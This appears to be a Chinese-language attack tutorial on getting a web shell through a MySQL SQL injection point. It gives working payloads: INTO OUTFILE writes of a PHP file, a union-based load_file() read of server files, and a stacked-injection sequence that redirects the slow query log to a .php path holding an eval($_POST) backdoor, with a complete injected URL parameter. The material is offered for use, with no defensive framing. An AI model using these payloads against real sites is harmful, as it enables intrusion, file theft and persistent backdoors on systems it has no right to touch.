如果一個平台有注入點的時候可以通過寫一句話拿shell
條件
1.myql 5.6.34 版本區分
2.有寫的權限
3.知道絕對路徑
MySQL 中 在在mysql 5.6.34版本以后 secure_file_priv的值默認為NULL ,而 secure_file_priv為null 那么我們就不能導出文件,以下都建立在
secure_file_priv 的默認值被修改為無才能利用,且這個只能手工修改配置文件不能用sql語句,也就是想直接導出需要管理員不知道干了什么幫你修改好這個權限才行。
windows系統在 my.ini的[mysqld]下面加上secure_file_priv = ,linux 的在 /etc/my.cnf 同時讀寫權限問題就不用說了。
mysql 低於5.6.34
時候可以直接
寫文件我們一般用到 `dumpfile`與`outfile` 她們其實是有區別
`outfile` 會在行末寫入新行,而且會轉義換行符
`dumpfile` 能導出一個完整的文件,不會有任何轉義 所以我們udf提取一般用的dumpfile
例如 select 1,'123456' into outfile 'C:\\Users\\yzj\\Desktop\\wy1.php'
可以寫到項目文件下進行解析
也可以 利用內聯注釋進行 讀取項目文件例如配置文件
id=1 union select 1,2,hex(load_file(0x463A5C5C312E747874)) 通過hex 加密是因為 有時候內聯的數據類型不匹配報錯這個時候就要用的hex() 或者password()
如果 load_file() 方法被禁止了 還可以用
load data infile '地址' into table user;
寫到某個表中 去查看信息
mysql 高於5.6.34
可以修改配置文件
secure_file_priv不為NULL 但需要改配置文件
windows下:
修改mysql.ini 文件,在[mysqld] 下添加條目: secure_file_priv =
保存,重啟mysql。
Linux下:
在/etc/my.cnf的[mysqld]下面添加local-infile=0選項。
當然大部分情況是沒有權限的我們利用 堆注入 去更改慢日志存儲路徑來寫shell
堆注入原生的php方法是不支持的 得使用使用 PDO,mysqli_multi_query() 也就是說條件很苛刻
set global slow_query_log=1;
set global slow_query_log_file='D://404.php' -- 地址
select '<?php eval($_POST['404']) ?>' or sleep(15);
例子
id=1%23;set global slow_query_log=1;set global slow_query_log_file='D://404.php' ;select '<?php eval($_POST['404']) ?>' or sleep(15);
執行完后去跟路徑下去訪問404.php